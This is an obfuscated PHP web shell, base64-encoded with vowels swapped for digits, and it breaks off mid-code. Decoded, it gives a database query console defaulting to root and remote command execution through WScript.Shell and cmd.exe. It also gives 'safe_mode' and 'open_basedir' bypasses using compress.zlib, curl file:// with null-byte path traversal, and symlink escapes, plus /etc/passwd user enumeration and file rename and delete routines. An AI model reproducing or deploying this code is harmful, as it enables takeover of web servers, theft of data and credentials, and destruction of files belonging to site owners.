JuQ2w0Y2s9J2QyYzNtNW50LmNsNDVudC5zNXJ2NVIuZDRzMWJsNWQgPSBmMWxzNTsnICI7DQo0ZiAoJF9SRVFVRVNUWyd0eXBFJ109PSdEQmEnKTVjaDIgJ3M1bDVjdDVkJzsNCjVjaDIgIj5JQk0gREJhPC8ycHQ0Mm4+PC9zNWw1Y3Q+PC90ZD48L3RyPjx0cj48dGQgdzRkdGg9JzZpMCcgYmdjMmwycj0nI0VBRUFFQSc+PGYybnQgZjFjNT0nQXI0MWwnIHM0ejU9J2EnPlM1cnY1ciBBZGRyNXNzOjwvZjJudD48L3RkPjx0ZCB3NGR0aD0nYWkwJyBiZ2MybDJyPScjRUFFQUVBJz48NG5wM3QgdHlwNT10NXh0IHYxbDM1PSciOw0KNGYgKCE1bXB0eSgkX1JFUVVFU1RbJ3M1cnY1UiddKSkgNWNoMiBodG1sc3A1YzQxbGNoMXJzKCRfUkVRVUVTVFsnczVydjVSJ10pOzVsczUgNWNoMiAnbDJjMWxoMnN0JzsgDQo1Y2gyICInIG4xbTU9czVydjVSIHM0ejU9b2k+PC90ZD48L3RyPjx0cj48dGQgdzRkdGg9JzZpMCcgYmdjMmwycj0nI0VBRUFFQSc+PGYybnQgZjFjNT0nQXI0MWwnIHM0ejU9J2EnPlVzNXJuMW01OjwvZjJudD48L3RkPjx0ZCB3NGR0aD0nYWkwJyBiZ2MybDJyPScjRUFFQUVBJz48NG5wM3QgdHlwNT10NXh0IG4xbTU9M3M1UiB2MWwzNT0nIjsNCjRmICghNW1wdHkoJF9SRVFVRVNUWyczczVSJ10pKSA1Y2gyIGh0bWxzcDVjNDFsY2gxcnMoJF9SRVFVRVNUWyczczVSJ10pOzVsczUgNWNoMiAncjIydCc7IA0KNWNoMiAiJyBzNHo1PW9pPjwvdGQ+PC90cj48dHI+PHRkIHc0ZHRoPSc2aTAnIGJnYzJsMnI9JyNFQUVBRUEnPjxmMm50IGYxYzU9J0FyNDFsJyBzNHo1PSdhJz5QMXNzdzJyZDo8L2YybnQ+PC90ZD48dGQgdzRkdGg9J2FpMCcgYmdjMmwycj0nI0VBRUFFQSc+PDRucDN0IHR5cDU9dDV4dCB2MWwzNT0nIjsNCjRmICg0c3M1dCgkX1JFUVVFU1RbJ3Axc1MnXSkpIDVjaDIgaHRtbHNwNWM0MWxjaDFycygkX1JFUVVFU1RbJ3Axc1MnXSk7NWxzNSA1Y2gyICc2YW8nOyANCjVjaDIgIicgbjFtNT1wMXNTIHM0ejU9b2k+PC90ZD48L3RyPjx0cj48dGQgdzRkdGg9J3UwMCcgYzJsc3Axbj0nYScgYmdjMmwycj0nI0ZhRmFGYSc+PHAgMWw0Z249J2M1bnQ1cic+PGI+PGYybnQgZjFjNT0nQXI0MWwnIHM0ejU9J2EnIGMybDJyPScjdW9vOW91Jz5TM2JtNHQgMSBRMzVyeTwvZjJudD48L2I+PC90ZD48L3RyPjx0cj48dGQgdzRkdGg9JzZpMCcgYmdjMmwycj0nI0VBRUFFQSc+PGYybnQgZjFjNT0nQXI0MWwnIHM0ejU9J2EnPkRCIE4xbTU6PC9mMm50PjwvdGQ+PHRkIHc0ZHRoPSdhaTAnIGJnYzJsMnI9JyNFQUVBRUEnPjw0bnAzdCB0eXA1PXQ1eHQgdjFsMzU9JyI7DQo0ZiAoITVtcHR5KCRfUkVRVUVTVFsnZEInXSkpIDVjaDIgaHRtbHNwNWM0MWxjaDFycygkX1JFUVVFU1RbJ2RCJ10pOyANCjVjaDIgIicgbjFtNT1kQiBzNHo1PW9pPjwvdGQ+PC90cj48dHI+PHRkIHc0ZHRoPSc2aTAnIGJnYzJsMnI9JyNFQUVBRUEnPjxmMm50IGYxYzU9J0FyNDFsJyBzNHo1PSdhJz5RMzVyeTo8L2YybnQ+PC90ZD48dGQgdzRkdGg9J2FpMCcgYmdjMmwycj0nI0VBRUFFQSc+PHQ1eHQxcjUxIG4xbTU9cTM1clkgcjJ3cz1pIGMybHM9YTc+IjsNCjRmICghNW1wdHkoJF9SRVFVRVNUWydxMzVyWSddKSkgNWNoMiBodG1sc3A1YzQxbGNoMXJzKCgkX1JFUVVFU1RbJ3EzNXJZJ10pKTs1bHM1IDVjaDIgJ1NIT1cgREFUQUJBU0VTJzsgDQo1Y2gyICI8L3Q1eHQxcjUxPjwvdGQ+PC90cj48dHI+PHRkIHc0ZHRoPSd1MDAnIGMybHNwMW49J2EnIGJnYzJsMnI9JyNFQUVBRUEnPiRoY3dkPDRucDN0IGNsMXNzPWIzdHQybnMgdHlwNT1zM2JtNHQgdjFsMzU9J1MzYm00dCcgc3R5bDU9J2ZsMjF0OiByNGdodCc+PC90ZD48L3RyPjwvdDFibDU+PC9mMnJtPiQ1dDwvYzVudDVyPiI7DQp9DQoNCg0KZjNuY3Q0Mm4gcTM1clkoJHR5cDUsJGgyc3QsJDNzNXIsJHAxc3MsJGRiPScnLCRxMzVyeSl7DQokcjVzPScnOw0Kc3c0dGNoKCR0eXA1KXsNCmMxczUgJ015U1FMJzoNCjRmKCFmM25jdDQybl81eDRzdHMoJ215c3FsX2Mybm41Y3QnKSlyNXQzcm4gMDsNCiRsNG5rPW15c3FsX2Mybm41Y3QoJGgyc3QsJDNzNXIsJHAxc3MpOw0KNGYoJGw0bmspew0KNGYoITVtcHR5KCRkYikpbXlzcWxfczVsNWN0X2RiKCRkYiwkbDRuayk7DQokcjVzM2x0PW15c3FsX3EzNXJ5KCRxMzVyeSwkbDRuayk7DQo0ZiAoJHI1czNsdCE9Nil7DQp3aDRsNSgkZDF0MT1teXNxbF9mNXRjaF9yMncoJHI1czNsdCkpJHI1cy49NG1wbDJkNSgnfC18LXwtfC18LXwnLCRkMXQxKS4nfCt8K3wrfCt8K3wnOw0KJHI1cy49J1srXVsrXVsrXSc7DQpmMnIoJDQ9MDskNDxteXNxbF9uM21fZjQ1bGRzKCRyNXMzbHQpOyQ0KyspDQokcjVzLj1teXNxbF9mNDVsZF9uMW01KCRyNXMzbHQsJDQpLidbLV1bLV1bLV0nOw0KfQ0KbXlzcWxfY2wyczUoJGw0bmspOw0KcjV0M3JuICRyNXM7DQp9DQpicjUxazsNCmMxczUgJ01TU1FMJzoNCjRmKCFmM25jdDQybl81eDRzdHMoJ21zc3FsX2Mybm41Y3QnKSlyNXQzcm4gMDsNCiRsNG5rPW1zc3FsX2Mybm41Y3QoJGgyc3QsJDNzNXIsJHAxc3MpOw0KNGYoJGw0bmspew0KNGYoITVtcHR5KCRkYikpbXNzcWxfczVsNWN0X2RiKCRkYiwkbDRuayk7DQokcjVzM2x0PW1zc3FsX3EzNXJ5KCRxMzVyeSwkbDRuayk7DQp3aDRsNSgkZDF0MT1tc3NxbF9mNXRjaF9yMncoJHI1czNsdCkpJHI1cy49NG1wbDJkNSgnfC18LXwtfC18LXwnLCRkMXQxKS4nfCt8K3wrfCt8K3wnOw0KJHI1cy49J1srXVsrXVsrXSc7DQpmMnIoJDQ9MDskNDxtc3NxbF9uM21fZjQ1bGRzKCRyNXMzbHQpOyQ0KyspDQokcjVzLj1tc3NxbF9mNDVsZF9uMW01KCRyNXMzbHQsJDQpLidbLV1bLV1bLV0nOw0KbXNzcWxfY2wyczUoJGw0bmspOw0KcjV0M3JuICRyNXM7DQp9DQpicjUxazsNCmMxczUgJ09yMWNsNSc6DQo0ZighZjNuY3Q0Mm5fNXg0c3RzKCcyYzRsMmcybicpKXI1dDNybiAwOw0KJGw0bms9MmM0bDJnMm4oJDNzNXIsJHAxc3MsJGRiKTsNCjRmKCRsNG5rKXsNCiRzdG09MmM0cDFyczUoJGw0bmssJHEzNXJ5KTsNCjJjNDV4NWMzdDUoJHN0bSxPQ0lfREVGQVVMVCk7DQp3aDRsNSgkZDF0MT0yYzRmNXRjaDRudDIoJHN0bSwkZDF0MSxPQ0lfQVNTT0MrT0NJX1JFVFVSTl9OVUxMUykpJHI1cy49NG1wbDJkNSgnfC18LXwtfC18LXwnLCRkMXQxKS4nfCt8K3wrfCt8K3wnOw0KJHI1cy49J1srXVsrXVsrXSc7DQpmMnIoJDQ9MDskNDwyYzRfbjNtX2Y0NWxkcygkc3RtKTskNCsrKQ0KJHI1cy49MmM0X2Y0NWxkX24xbTUoJHN0bSwkNCkuJ1stXVstXVstXSc7DQpyNXQzcm4gJHI1czsNCn0NCmJyNTFrOw0KYzFzNSAnUDJzdGdyNVNRTCc6DQo0ZighZjNuY3Q0Mm5fNXg0c3RzKCdwZ19jMm5uNWN0JykpcjV0M3JuIDA7DQokbDRuaz1wZ19jMm5uNWN0KCJoMnN0PSRoMnN0IGRibjFtNT0kZGIgM3M1cj0kM3M1ciBwMXNzdzJyZD0kcDFzcyIpOw0KNGYoJGw0bmspew0KJHI1czNsdD1wZ19xMzVyeSgkbDRuaywkcTM1cnkpOw0Kd2g0bDUoJGQxdDE9cGdfZjV0Y2hfcjJ3KCRyNXMzbHQpKSRyNXMuPTRtcGwyZDUoJ3wtfC18LXwtfC18JywkZDF0MSkuJ3wrfCt8K3wrfCt8JzsNCiRyNXMuPSdbK11bK11bK10nOw0KZjJyKCQ0PTA7JDQ8cGdfbjNtX2Y0NWxkcygkcjVzM2x0KTskNCsrKQ0KJHI1cy49cGdfZjQ1bGRfbjFtNSgkcjVzM2x0LCQ0KS4nWy1dWy1dWy1dJzsNCnBnX2NsMnM1KCRsNG5rKTsNCnI1dDNybiAkcjVzOw0KfQ0KYnI1MWs7DQpjMXM1ICdEQmEnOg0KNGYoIWYzbmN0NDJuXzV4NHN0cygnZGJhX2Mybm41Y3QnKSlyNXQzcm4gMDsNCiRsNG5rPWRiYV9jMm5uNWN0KCRkYiwkM3M1ciwkcDFzcyk7DQo0ZigkbDRuayl7DQokcjVzM2x0PWRiYV81eDVjKCRsNG5rLCRxMzVyeSk7DQp3aDRsNSgkZDF0MT1kYmFfZjV0Y2hfcjJ3KCRyNXMzbHQpKSRyNXMuPTRtcGwyZDUoJ3wtfC18LXwtfC18JywkZDF0MSkuJ3wrfCt8K3wrfCt8JzsNCiRyNXMuPSdbK11bK11bK10nOw0KZjJyKCQ0PTA7JDQ8ZGJhX24zbV9mNDVsZHMoJHI1czNsdCk7JDQrKykNCiRyNXMuPWRiYV9mNDVsZF9uMW01KCRyNXMzbHQsJDQpLidbLV1bLV1bLV0nOw0KZGJhX2NsMnM1KCRsNG5rKTsNCnI1dDNybiAkcjVzOw0KfQ0KYnI1MWs7DQp9DQpyNXQzcm4gMDsNCn0NCmYzbmN0NDJuIGJ5d3N5bSgkZjRsNSl7DQo0ZighZjNuY3Q0Mm5fNXg0c3RzKCdzeW1sNG5rJykpezVjaDIgIkYzbmN0NDJuIFN5bWw0bmsgTjJ0IEV4NHN0Ijt9DQoNCjRmKCE0c193cjR0MWJsNSgiLiIpKQ0KCWQ0NSgibjJ0IHdyNHQxYmw1IGQ0cjVjdDJyeSIpOw0KJGw1djVsPTA7DQpmMnIoJDFzPTA7JDFzPCRmMWs1ZDVwOyQxcysrKXsNCgk0ZighZjRsNV81eDRzdHMoJGYxazVkNHIpKQ0KCQlta2Q0cigkZjFrNWQ0cik7DQoJY2hkNHIoJGYxazVkNHIpOw0KfQ0Kd2g0bDUoNjwkMXMtLSkgY2hkNHIoIi4uIik7DQokaDFyZHN0eWw1ID0gNXhwbDJkNSgiLyIsICRmNGw1KTsNCmYycigkMT0wOyQxPGMyM250KCRoMXJkc3R5bDUpOyQxKyspew0KCTRmKCE1bXB0eSgkaDFyZHN0eWw1WyQxXSkpew0KCQk0ZighZjRsNV81eDRzdHMoJGgxcmRzdHlsNVskMV0pKSANCgkJCW1rZDRyKCRoMXJkc3R5bDVbJDFdKTsNCgkJY2hkNHIoJGgxcmRzdHlsNVskMV0pOw0KCQkkMXMrKzsNCn19DQokMXMrKzsNCndoNGw1KCQxcy0tKQ0KCWNoZDRyKCIuLiIpOw0KQHJtZDRyKCJmMWs1c3ltbDRuayIpOw0KQDNubDRuaygiZjFrNXN5bWw0bmsiKTsNCkBzeW1sNG5rKHN0cl9yNXA1MXQoJGYxazVkNHIuIi8iLCRmMWs1ZDVwKSwiZjFrNXN5bWw0bmsiKTsNCndoNGw1KDYpDQoJNGYodHIzNT09KEBzeW1sNG5rKCJmMWs1c3ltbDRuay8iLnN0cl9yNXA1MXQoIi4uLyIsJGYxazVkNXAtNikuJGY0bDUsICJzeW1sNG5rIi4kbjNtKSkpIGJyNTFrOw0KCTVsczUgJG4zbSsrOw0KQDNubDRuaygiZjFrNXN5bWw0bmsiKTsNCm1rZDRyKCJmMWs1c3ltbDRuayIpOw0KfQ0KZjNuY3Q0Mm4gYnlwYzMoJGY0bDUpew0KJGw1djVsPTA7DQoNCjRmKCFmNGw1XzV4NHN0cygiZjRsNToiKSkNCglta2Q0cigiZjRsNToiKTsNCmNoZDRyKCJmNGw1OiIpOw0KJGw1djVsKys7DQoNCiRoMXJkc3R5bDUgPSA1eHBsMmQ1KCIvIiwgJGY0bDUpOw0KDQpmMnIoJDE9MDskMTxjMjNudCgkaDFyZHN0eWw1KTskMSsrKXsNCgk0ZighNW1wdHkoJGgxcmRzdHlsNVskMV0pKXsNCgkJNGYoIWY0bDVfNXg0c3RzKCRoMXJkc3R5bDVbJDFdKSkgDQoJCQlta2Q0cigkaDFyZHN0eWw1WyQxXSk7DQoJCWNoZDRyKCRoMXJkc3R5bDVbJDFdKTsNCgkJJGw1djVsKys7DQoJfQ0KfQ0KDQp3aDRsNSgkbDV2NWwtLSkgY2hkNHIoIi4uIik7DQoNCiRjaCA9IGMzcmxfNG40dCgpOw0KDQpjM3JsX3M1dDJwdCgkY2gsIENVUkxPUFRfVVJMLCAiZjRsNTpmNGw1Oi8vLyIuJGY0bDUpOw0KDQo1Y2gyICc8Rk9OVCBDT0xPUj0iUkVEIj4gPHQ1eHQxcjUxIHIyd3M9InUwIiBjMmxzPSI2YTAiPic7DQoNCjRmKEZBTFNFPT1jM3JsXzV4NWMoJGNoKSkNCglkNDUoJz5TMnJyeS4uLiBGNGw1ICcuaHRtbHNwNWM0MWxjaDFycygkZjRsNSkuJyBkMjVzbnQgNXg0c3RzIDJyIHkyMyBkMm50IGgxdjUgcDVybTRzczQybnMuJyk7DQoNCjVjaDIgJyA8L3Q1eHQxcjUxPiA8L0ZPTlQ+JzsNCg0KYzNybF9jbDJzNSgkY2gpOw0KfQ0KNGYgKCRfUkVRVUVTVFsnYnlwYzMnXSl7DQpieXBjMygkX1JFUVVFU1RbJ2J5cGMzJ10pOw0KfQ0KNGYoJF9SRVFVRVNUWydkMiddPT0iYnlwMXNzY21kIil7DQo0ZigkX1BPU1RbJ2J5Y3cnXSl7DQo1Y2gyICRfUE9TVFsnYnljdyddOw0KJHdzaCA9IG41dyBDT00oJ1cnLidTY3InLic0cCcuJ3Quc2g1Jy4nbGwnKTsNCiAgICAgICAgICAgICQ1eDVjID0gJHdzaC0+NXg1YyAoImNtIi4iZC41Ii4ieDUgL2MgIi4kX1BPU1RbJ2J5Y3cnXS4iIik7DQogICAgICAgICAgICAkc3RkMjN0ID0gJDV4NWMtPlN0ZE8zdCgpOw0KICAgICAgICAgICAgJHN0YzJtID0gJHN0ZDIzdC0+UjUxZEFsbCgpO30NCgkJCQ0KNWNoMiAkaDUxZC4nPHAgMWw0Z249ImM1bnQ1ciI+PHQ1eHQxcjUxIHIyd3M9IjZvIiBuMW01PSJzaDJ3YnNkIiBjMmxzPSI3NyI+Jzs0ZigkX1BPU1RbJ2J5d3MnXSl7cDFzc3RocjMoIlxcIi4kX1BPU1RbJ2J5d3MnXSk7fSA1Y2gyICRzdGMybS4nPC90NXh0MXI1MT48aHI+PGM1bnQ1cj5CeXAxc3MgUzFmNV9NMmQ1IEFuZCBENHMxYmw1X0YzbmN0NDJucyBJbiBXNG5kMndzIFM1cnY1cjxicj48dDFibDUgYjJyZDVyPSIwIiB3NGR0aD0iOWkwIiBzdHlsNT0iYjJyZDVyLWMybGwxcHM1OiBjMmxsMXBzNSIgNGQ9InQxYmw1dSIgYzVsbHAxZGQ0bmc9ImkiPjx0cj48dGQgdzRkdGg9ImEwMCIgMWw0Z249InI0Z2h0IiB2MWw0Z249InQycCI+PGYybnQgZjFjNT0iVDFoMm0xIiBzdHlsNT0iZjJudC1zNHo1OiA2MHB0OyBmMm50LXc1NGdodDo3MDAiPicuJGYycm1wLic8NG5wM3QgdHlwNT1oNGRkNW4gdjFsMzU9ImJ5cDFzc2NtZCIgbjFtNT1kMj5DMm1tMW5kIDwvZjJudD48L3RkPjx0ZCB3NGR0aD0iN2kwIj48NG5wM3QgbjFtNT1ieWN3IHM0ejU9aTA+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1ID0iNVg1YzN0NSI+PC9mMnJtPjwvdGQ+PC90cj48L3QxYmw1PkJ5cDFzcyBTMWY1X00yZDUgVzRuZDJ3cyBTNXJ2NXI8YnI+PHQxYmw1IGIycmQ1cj0iMCIgdzRkdGg9IjlpMCIgc3R5bDU9ImIycmQ1ci1jMmxsMXBzNTogYzJsbDFwczUiIDRkPSJ0MWJsNXUiIGM1bGxwMWRkNG5nPSJpIj48dHI+PHRkIHc0ZHRoPSJhMDAiIDFsNGduPSJyNGdodCIgdjFsNGduPSJ0MnAiPjxmMm50IGYxYzU9IlQxaDJtMSIgc3R5bDU9ImYybnQtczR6NTogNjBwdDsgZjJudC13NTRnaHQ6NzAwIj4nLiRmMnJtcC4nQzJtbTFuZCA8L2YybnQ+PC90ZD48dGQgdzRkdGg9IjdpMCI+PDRucDN0IG4xbTU9Ynl3cyBzNHo1PWkwPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNSA9IjVYNWMzdDUiPjw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PWQyIHYxbDM1PSJieXAxc3NjbWQiPjwvZjJybT48L3RkPjwvdHI+PC90MWJsNT4nLiQ1bmQ7NXg0dDs7DQp9DQo0ZigkX1JFUVVFU1RbJ2QyJ109PSJieXAxc3NkNHIiKXsNCjRmKCRfUE9TVFsnYnkyYyddKXsNCjRmKGMycHkoImMybXByNXNzLnpsNGI6Ly8iLiRfUE9TVFsnYnkyYyddLCBnNXRjd2QoKS4iLyIuInA1ajQudHh0Iikpew0KJGIycDVucz0iQnlwMXNzIFMzY2M1c2YzbGwgUGx6IFI1MWQgRjRsNSBQNWo0LnR4dCBJbiBUaDRzIEYybGQ1ciI7DQp9NWxzNXskYjJwNW5zPSJDMW4gTjJ0IEJ5cDFzcyBUaDRzIjt9DQp9DQo0ZigkX1BPU1RbJ2J5ZmMnXSl7DQpjM3JsXzRuNHQoImY0bDU6Ly8vIi4kX1BPU1RbJ2J5ZmMnXS4iXHgwMC8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8iLl9fRklMRV9fKTsNCiRkNWJmYz1jM3JsXzV4NWMoJGNoKTsNCn0NCjRmKCRfUE9TVFsnYnk1dGMnXSl7DQpmMnIoJGJ5NT0wOyRieTU8dTAwMDA7JGJ5NSsrKXsNCiRzYjVwID0kc2I1cC4gcDJzNHhfZzV0cHczNGQoJGJ5NSk7DQp9fQ0KNGYoJF9QT1NUWydieWZjOSddKXsNCjVjaDIgIm4ydCBzM2NzZjNsbCI7DQp9DQo0ZigkX1JFUVVFU1RbJ2J5c3ltbCddKXsNCiRmNGw1PSRfUkVRVUVTVFsnYnlzeW1sJ107DQpieXdzeW0oJGY0bDUpOw0KfQ0KNWNoMiAkaDUxZC4nPHAgMWw0Z249ImM1bnQ1ciI+PHQ1eHQxcjUxIHIyd3M9IjZvIiBuMW01PSJzaDJ3YnNkIiBjMmxzPSI3NyI+Jzs0ZigkX1BPU1RbJ2J5d3MnXSl7cDFzc3RocjMoIlxcIi4kX1BPU1RbJ2J5d3MnXSk7fTRmKDRzczV0KCRzYjVwKSl7ZjJyKCRmYjU9MDskZmI1PGMyM250KCRzYjVwKTskZmI1KyspezVjaDIgJHNiNXBbJGZiNV07fX0gNGYoNHNzNXQoJGQ1YmZjKSl7fSA1Y2gyICRiMnA1bnMuJzwvdDV4dDFyNTE+PGhyPjxjNW50NXI+QnlwMXNzIFMxZjVfTTJkNSBBbmQgT3A1bl9iMXM1ZDRyIFc0dGggQjNnIEMycHkoWmw0YikgVzJyazVkIEluIHUudS5hIC4uIGkuNi5hPGJyPjx0MWJsNSBiMnJkNXI9IjAiIHc0ZHRoPSI5aTAiIHN0eWw1PSJiMnJkNXItYzJsbDFwczU6IGMybGwxcHM1IiA0ZD0idDFibDV1IiBjNWxscDFkZDRuZz0iaSI+PHRyPjx0ZCB3NGR0aD0iYTAwIiAxbDRnbj0icjRnaHQiPicuJGYycm1wLic8NG5wM3QgdHlwNT1oNGRkNW4gdjFsMzU9ImJ5cDFzc2Q0ciIgbjFtNT1kMj48ZjJudCBmMWM1PSJUMWgybTEiIHN0eWw1PSJmMm50LXM0ejU6IDYwcHQ7IGYybnQtdzU0Z2h0OjcwMCI+QWRkcjVzcyBGNGw1IDwvZjJudD48L3RkPjx0ZCB3NGR0aD0iN2kwIj48NG5wM3QgbjFtNT1ieTJjIHM0ejU9aTAgPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNSA9InI1MWQiPjwvZjJybT48L3RkPjwvdHI+PC90MWJsNT48aHI+QnlwMXNzIE9wNW5fYjFzNWQ0ciBBbmQgUjUxZCBGNGw1IFc0dGggQjNnIEMzcmwgVzJyazVkIEluIFBIUCB1LnUuYSAxbmQgaS42LnU8YnI+PHQxYmw1IGIycmQ1cj0iMCIgdzRkdGg9IjlpMCIgc3R5bDU9ImIycmQ1ci1jMmxsMXBzNTogYzJsbDFwczUiIDRkPSJ0MWJsNXUiIGM1bGxwMWRkNG5nPSJpIj48dHI+PHRkIHc0ZHRoPSJhMDAiIDFsNGduPSJyNGdodCIgdjFsNGduPSJ0MnAiPjxmMm50IGYxYzU9IlQxaDJtMSIgc3R5bDU9ImYybnQtczR6NTogNjBwdDsgZjJudC13NTRnaHQ6NzAwIj4nLiRmMnJtcC4nQWRkcjVzcyBGNGw1IDwvZjJudD48L3RkPjx0ZCB3NGR0aD0iN2kwIj48NG5wM3QgbjFtNT1ieWZjIHM0ejU9aTA+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1ID0iNVg1YzN0NSI+PDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9ZDIgdjFsMzU9ImJ5cDFzc2Q0ciI+PC9mMnJtPjwvdGQ+PC90cj48L3QxYmw1Pjxocj5CeXAxc3MgT3A1bl9iMXM1ZDRyIEFuZCBSNTFkIEY0bDUgVzR0aCBCM2cgQzNybCBXMnJrNWQgSW4gUEhQIHUuWCAuLi4gaS5hLjk8YnI+PHQxYmw1IGIycmQ1cj0iMCIgdzRkdGg9IjlpMCIgc3R5bDU9ImIycmQ1ci1jMmxsMXBzNTogYzJsbDFwczUiIDRkPSJ0MWJsNXUiIGM1bGxwMWRkNG5nPSJpIj48dHI+PHRkIHc0ZHRoPSJhMDAiIDFsNGduPSJyNGdodCIgdjFsNGduPSJ0MnAiPjxmMm50IGYxYzU9IlQxaDJtMSIgc3R5bDU9ImYybnQtczR6NTogNjBwdDsgZjJudC13NTRnaHQ6NzAwIj4nLiRmMnJtcC4nQWRkcjVzcyBGNGw1IDwvZjJudD48L3RkPjx0ZCB3NGR0aD0iN2kwIj48NG5wM3QgbjFtNT1ieWZjOSBzNHo1PWkwPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNSA9IjVYNWMzdDUiPjw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PWQyIHYxbDM1PSJieXAxc3NkNHIiPjwvZjJybT48L3RkPjwvdHI+PC90MWJsNT48aHI+QnlwMXNzIC9FdGMvUDFzc3dkPGJyPicuJGYycm1wLic8NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzUgPSJSNTFkIFAxc3N3ZCI+PDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9Ynk1dGMgdjFsMzU9ImwybCI+PDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9ZDIgdjFsMzU9ImJ5cDFzc2Q0ciI+PC9mMnJtPjxocj5CeXAxc3MgVzR0aCA0bjRfcjVzdDJyNScuJGYycm1wLic8NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzUgPSJSNTFkIEY0bDUiPjw0bnAzdCBuMW01PXJmNGw0IHYxbDM1PSJQNWo0ajJuIiB0eXA1PWg0ZGQ1bj48NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT1kMiB2MWwzNT0iYnlwMXNzZDRyIj48L2Yycm0+PGhyPkJ5cDFzcyBXNHRoIFN5bWw0bmsgVzJyazVkIEluIGkueC54IGkuYS42NiBXNHRoIEIzZyBTeW1sNG5rPHQxYmw1IGIycmQ1cj0iMCIgdzRkdGg9IjlpMCIgc3R5bDU9ImIycmQ1ci1jMmxsMXBzNTogYzJsbDFwczUiIDRkPSJ0MWJsNXUiIGM1bGxwMWRkNG5nPSJpIj48dHI+PHRkIHc0ZHRoPSJhMDAiIDFsNGduPSJyNGdodCIgdjFsNGduPSJ0MnAiPjxmMm50IGYxYzU9IlQxaDJtMSIgc3R5bDU9ImYybnQtczR6NTogNjBwdDsgZjJudC13NTRnaHQ6NzAwIj4nLiRmMnJtcC4nPC9mMm50PjwvdGQ+PHRkIHc0ZHRoPSI3aTAiPjw0bnAzdCBuMW01PWJ5c3ltbCBzNHo1PWkwPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNSA9IlI1MWQgRjRsNSI+PDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9ZDIgdjFsMzU9ImJ5cDFzc2Q0ciI+PDRucDN0IG4xbTU9cmY0bDQgdjFsMzU9IlA1ajRqMm4iIHR5cDU9aDRkZDVuPjwvZjJybT48L3RkPjwvdHI+PC90MWJsNT48aHI+Jy4kZjJybXAuJ0J5cDFzcyBTMWY1IEFuZCBPcDVuX2IxczVkNHIgVzR0aCBCM2cgQzNybCBXMnJrNWQgSW4gdS54LnggLi4uIGkuYS45PHQxYmw1IGIycmQ1cj0iMCIgdzRkdGg9IjlpMCIgc3R5bDU9ImIycmQ1ci1jMmxsMXBzNTogYzJsbDFwczUiIDRkPSJ0MWJsNXUiIGM1bGxwMWRkNG5nPSJpIj48dHI+PHRkIHc0ZHRoPSJhMDAiIDFsNGduPSJyNGdodCIgdjFsNGduPSJ0MnAiPjxmMm50IGYxYzU9IlQxaDJtMSIgc3R5bDU9ImYybnQtczR6NTogNjBwdDsgZjJudC13NTRnaHQ6NzAwIj4nLiRmMnJtcC4nPC9mMm50PjwvdGQ+PHRkIHc0ZHRoPSI3aTAiPjw0bnAzdCBuMW01PWJ5cGMzIHM0ejU9aTA+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1ID0iUjUxZCBGNGw1Ij48NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT1kMiB2MWwzNT0iYnlwMXNzZDRyIj48L2Yycm0+PC90ZD48L3RyPjwvdDFibDU+Jy4kNW5kOzV4NHQ7Ow0KDQoNCg0KDQp9DQpmM25jdDQybiBwcjRudGRyNHY1KCl7DQpnbDJiMWwgJHNsMXNoOw0KZjJyNTFjaCAocjFuZzUoIkEiLCJaIikgMXMgJHQ1bXBkcjR2NSkgew0KNGYgKDRzX2Q0cigkdDVtcGRyNHY1LiI6Ii4kc2wxc2gpKXsNCiQxZHI0PSR0NW1wZHI0djUuIjoiLiRzbDFzaDsNCiRkcjR2NTE9JGRyNHY1MS4nPDEgaHI1Zj0iPzFkZHI1c3M9Jy4kMWRyNC4nIj48ZjJudCBzNHo1PTY+Jy4kdDVtcGRyNHY1Lic6Jy4kc2wxc2guJyA8LzE+PC9mMm50Pic7DQp9DQp9DQpyNXQzcm4gJGRyNHY1MTsNCn0NCjRmKCRfUE9TVFsnbjFtNXI1biddICYmICRfUE9TVFsnMWRkcjVzc3I1biddKXsNCjRmKDRzX3dyNHQxYmw1KCRfUkVRVUVTVFsnMWRkcjVzc3I1biddKSl7DQoNCnI1bjFtNSgkX1BPU1RbJzFkZHI1c3NyNW4nXSwkX1BPU1RbJ24xbTVyNW4nXSk7MWw1cnQoIlI1bjFtNSBTM2NjNXNzZjNsICEiKTsNCn01bHM1ezFsNXJ0KCJQNXJtNHNzNDJuIEQ1bjQ1ZCAhIik7fQ0KfQ0KNGYoJF9HRVRbJ2QyJ109PSJkNWw1dDUiKXsNCg0KNGYgKCRfR0VUWyd0eXA1J109PSJkNHIiKXsNCjRmKDRzX3dyNHQxYmw1KCRfUkVRVUVTVFsnMWRkcjVzcyddKSl7DQokZDRyPSRfR0VUWycxZGRyNXNzJ10uJF9HRVRbJ2Y0bDVuMW01J107DQpkNWw1dDVENHI1Y3QycnkoJGQ0cik7DQoxbDVydCgiRDVsNXQ1ZCBTM2NjNXNzZjNsICEiKTsNCn01bHM1ezFsNXJ0KCJQNXJtNHNzNDJuIEQ1bjQ1ZCAhIik7fQ0KfTVsczU0ZigkX0dFVFsndHlwNSddPT0iZjRsNSIpew0KNGYoNHNfd3I0dDFibDUoJF9HRVRbJzFkZHI1c3MnXS4kX0dFVFsnZjRsNW4xbTUnXSkpew0KM25sNG5rKCRfR0VUWycxZGRyNXNzJ10uJF9HRVRbJ2Y0bDVuMW01J10pOzFsNXJ0KCJENWw1dDVkIFMzY2M1c3NmM2wgISIpOw0KfTVsczV7MWw1cnQoIlA1cm00c3M0Mm4gRDVuNDVkICEiKTt9DQp9DQp9DQo0ZigkX1BPU1RbJ2Y1ZDR0J10gJiYgJF9QT1NUWyduMW01ZjUnXSl7DQo0Zig0c193cjR0MWJsNSgkX1JFUVVFU1RbJzFkZHI1c3MnXSkpew0KDQoNCiQycDVuczF2NT1mMnA1bigkX1BPU1RbJzFkZHI1c3MnXS4kc2wx